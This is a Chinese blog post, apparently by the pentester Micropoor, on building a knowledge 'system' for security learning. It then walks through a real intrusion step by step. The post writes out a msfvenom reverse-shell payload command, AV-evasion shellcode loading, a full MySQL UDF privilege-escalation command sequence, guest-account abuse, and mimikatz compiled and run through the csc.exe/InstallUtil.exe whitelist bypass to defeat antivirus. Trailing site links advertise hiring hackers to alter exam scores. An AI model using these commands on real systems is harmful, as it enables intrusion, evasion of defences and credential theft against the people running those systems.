*** 安全学习 *** 论之体系的重要性

访客4年前黑客文章319

  前者的话:

  如果你分享的内容过于真实,你就没有发表机会,你要完全假了呢,又没有读者去看,你可以在这个通道里,真一会儿假一会儿地往前走,最重要的还是要往前走。

  ----Micropoor

  古人把一个职业的发展分为7个阶段,即:

  奴:自愿和靠人监督的人

  徒:能力不足,肯自愿学习的人

  工:老老实实,按规矩做事的人

  匠:精通一门技艺或手艺的人

  师:掌握了规律,又能将其传授给他人的人

  家:有固定的信念,让别人生活的更好的人

  圣:精通事理,通达万物的人

  那么 *** 安全学习也将会有阶段划分,我把它划分为10个阶段:

  1:问

  2:学

  3:动

  4:记

  5:体系

  6:问

  7:分享

  8:带队

  9:受业

  10:育才

  什么是体系?

  体系的本质是知识点的灵活串联与应用

  建立体系的过程?

  1:整理知识碎片化

  2:建立知识框架

  3:形成知识体系

  爱德加·戴尔提出了一套学习模型:模型主要分别为被动学习与主动学习的一个过程

  同时提出,学习效果在30%以下的几种传统方式,都是个人学习或被动学习;而学习效果在50%以上的,都是团队学习、主动学习和参与式学习。

  “输出”是更好的学习方式,“输出”的本质是体系重新结构化

  图片1.png

  以上讲的是 *** 论,如何应用到实战中去?下例为实战

  一次普通的项目,做完后,却陈思很久,遂打算一气合成把整个流程记录下来,此篇再一次的叮嘱我:分享便是我更好的老师。

  ----Micropoor

  拿shell过程略过。(由于文章在项目实施结束形成,故部分无图或补图)

  windows 2008 r2 x64位 360主动+360卫士+360杀毒+waf,目标机仅支持aspx。运行OAWeb服务(.net+mssql),并且是内网中其他服务器的数据库服务器(mysql数据库,不支持php,无.net for mysql 驱动)

  图片2.png

  端口开放如下:

  图片3.png

  需要解决的之一个问题:payload

  由于目标机,安装某套装,payload一定是必须要解决的问题。当tasklist的时候,看到如下图几个进程的时候,之一反应就是需要做payload分离免杀。分离免杀主要分两大类,一类为第三方分离免杀,一类为自带安装分离免杀。文章中,采取了第三方分离免杀。

  图片4.png

  本地补图(由于项目在实施后形成该文章,故本地靶机补图)

  目前的反病毒安全软件,常见有三种,一种基于特征,一种基于行为,一种基于云查杀。云查杀的特点基本也可以概括为特征查杀。无论是哪种,都是特别针对PE头文件的查杀。尤其是当payload文件越大的时候,特征越容易查杀。

  既然知道了目前的主流查杀方式,那么反制查杀,此篇采取特征与行为分离免杀。避免PE头文件,并且分离行为,与特征的综合免杀。适用于菜刀下等场景,也是我在基于windows下为了更稳定的一种常用手法。载入内存。

  图片5.png

  这里的payload不采取生成pe文件,而采取shellcode方式,来借助第三方直接加载到内存中。避免行为:

  msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.5 lport=8080 -e x86/shikata_ga_nai -i 5 -f raw > test.c

  图片6.png

  既然是shellcode方式的payload,那么需要借助第三方来启动,加载到内存。执行shellcode,自己写也不是很难,这里我借用一个github一个开源:

  作者的话:建议大家自己写shellcode执行盒,相关代码网上非常成熟。

  图片7.png

  生成的payload大小如下:476字节。

  图片8.png

  世界杀毒网:

  图片9.png

  上线成功。

  图片10.png

  而关于自带安装分离免杀,请参考我在公司Wiki上写的第六十九课时 payload分离免杀思路第二季

  payload反弹到vps的msf上,我的权限仅仅如下。

  图片11.png

  需要解决的第二个问题:提权

  参考主机背景图,184个补丁,以及某套装。遂放弃了exp提权。

  原因1:需要更多的时间消耗在对反病毒软件对抗。

  原因2:目标机补丁过多。需要消耗更多的时间

  原因3:非常艰难的环境下,拿到了权限,不想因为某些exp导致蓝屏从而丢失权限。

  开始翻阅目标机上的文件,以及搜集目标机的端口,服务,启动等一系列信息。发现目标机安装mysql,并与内网其中一台建立大量连接。mysql版本为5.1.49-community-log

  下载目标机*..MYI,*.MYD,*.frm,加载于本地mysql。得到目标机root密码

  图片12.png

  而目标机没有相关脚本环境连接mysql,到这里,可以有2个方向针对该问题作出解决

  一:转发目标机端口到本地,从而操作mysql。

  二:在非交互式下,完成mysql udf的提权。

  为了减少目标主机的流量探测,以及维护来之不易的session,故选择了第二种方案。非交互式下,mysql提权。

  命令行下,调用mysql是需要在启动一个mysql窗口,从而继续执行,而session下没有这样的条件。但mysql的 -e参数 作为直接执行sql语句,从而不另启动窗口。而-e需要注意的事项,use database。

  也就是所有参数需要mysql.xxxx

  图片13.png

  如没有指定database,将会出现如下错误,而使用UNION,将不会有回显,一定出现问题,将会很难定位,故选择以mysql.x的方式指定。

  图片14.png

  大致流程如下:

  mysql -uroot -pXXXXXX -e "create table mysql.a (cmd LONGBLOB);"

  mysql -uroot -pXXXXXX -e "insert into mysql.a (cmd) values (hex(load_file('D:\\XXXXXXXXXX\\mysql5\\lib\\plugin\?')));"

  mysql -uroot -pXXXXXX -e "SELECT unhex(cmd) FROM mysql.a INTO DUMPFILE 'D:/XXXXXXXXXX/mysql5/lib/plugin/uu.dll';"

  mysql -uroot -pXXXXXX -e "CREATE FUNCTION shell RETURNS STRING SONAME 'uu.dll'"

  mysql -uroot -pXXXXXX -e "select shell('cmd','whoami');"

  图片15.png

  需要解决的第三个问题:登录服务器

  在有套装的环境下,默认拦截cmd下加帐号,而目前又无法抓取系统登录明文。mimikatz被查杀。cmd下调用powershell被拦截。遂选择激活guest帐号,并提升到administrators组,来临时登录目标机。

  图片16.png

  图片17.png

  socks *** 登录目标机:

  图片18.png

  需要解决的第四个问题:抓取目标机明文密码

  登录服务器后,目前依然不知道目标机的密码。这里有两种方向来解决该问题。

  一:关闭我能关闭的套装,由于管理员没有注销登录。能关闭的有限。

  二:分离免杀做mimikatz密码抓取

  作者选择了第二种方案:

  这里需要用到csc.exe,与InstallUtil.exe

  关于两个文件默认安装位置:(注意x32,x64区别)

  C:\Windows\Microsoft.NET\Framework\

  C:\Windows\Microsoft.NET\Framework64\

  C:\Windows\Microsoft.NET\Framework\

  C:\Windows\Microsoft.NET\Framework64\

  分别执行:

  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Micropoor.exe /keyfile:C:\Users\Johnn\Desktop\installutil.snk /unsafe C:\Users\Johnn\Desktop\mimi.cs

  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=/LogToConsole=false /U C:\Users\Johnn\Desktop\Micropoor.exe

  图片19.png

  图片20.png

  派生出的第五个问题:横向渗透

  关于第五个问题,本意并不是该篇幅所要讲述的,后续是搜集目标机的mssql,mysql,rdp密码。搜集所在内网的拓扑,来辅助本次的横向扩展。便完成了本次的项目。

  如需具体,请参考我在Wiki上的系列教程78,79,12,13,71课时。

  图片21.png

  本次的整个流程,并没有遇到太多的问题,仅仅是把几个知识点的串联起来,形成的一个完整的渗透。也许你了解知识点1,也了解知识点2,还了解知识点3等等。但是一次完整的项目是离不开每一个知识点的串联与灵活运用。这应该是每一个信息安全从业人员值得思考的问题。

  在每次分享的同时,深深发现,原来分享,才是我更好的老师。

   *** 安全亦正亦邪,初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田美池桑竹之属。别在初极狭便放弃这“人间正道”,错过这“土地平旷,屋舍俨然,有良田美池桑竹之属。”,愿每一位读者能找到自己能融合贯通的“武功”,在结合吞噬其他“招式”,如行云流水,石便是器,枝便是剑。

相关文章

找黑客改护考分后能拿到证吗,黑客入门推荐网站

一、改护考分后能拿到证吗怎么找黑客 1、找站接网单正是这些黑客提倡个人电脑革命,提倡当前的计算机开放式系统结构,打破了以往的计算机技术,只掌握在少数人手中。改护考分后能拿到证吗中国排行一个人对一个能在...

怎么查看我老公已经删除的QQ聊天记录短信

由于1-8岁的宝宝处于身体发育健全期,身体的很多的功能不如成年人具有抵抗力,并不是所有的食物都可以进食,有的食物一旦进食可以引发很多可怕的疾病,因此各位宝爸宝妈得注意了,宝宝的饮食禁忌很重要哦! 一...

外卖员无证驾驶被查假装韩国人-无证驾驶怎么处

无证驾驶是一种违法的行为,近日上海一名交警就查到了一名无证驾驶的外卖员,而且还没有戴头盔,是一种非常危险的行为,该外卖员为了躲避刑罚,竟然对民警说自己是韩国人,并且在中国考过驾照,只是现在没有带在身上...

怎么找黑客干活(干活不给钱找哪些部门)

干什么活不给钱?是工地还是某个单位还是饭店什么的,要是饭店或者是单位可以找劳动仲裁,假如是工地的话你可以去当地派出所请他们介入 这种事到当地政府劳动保障局的劳动监察大队投诉解决 给私人老板干活的工...

怎么设置微博抽奖? 新浪微博抽奖发布过程

做为一个时兴的社交网络服务平台新浪微博,不但能够使大伙儿随时随地掌握新鮮的资讯新闻,还可以公布升级自身的日常生活动态性,与网民相互之间交友聊天。此外,新浪微博还有一个抽奖活动的褔利作用,使客户能...

著名黑客学习历程(黑客是怎么学的)

著名黑客学习历程(黑客是怎么学的)

本文导读目录: 1、黑客的历史~ 2、黑客的发展历程 3、历史上最牛的黑客是谁? 4、黑客的著名人物 5、谁知道凯文米特尼克的一生详细经历? 6、找一些著名黑客的故事! 7、历...